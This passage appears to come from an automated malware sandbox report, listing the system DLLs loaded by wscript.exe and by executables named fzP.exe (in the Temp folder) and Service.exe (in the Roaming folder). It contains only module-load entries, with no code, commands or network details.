Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msxml3.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msdart.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
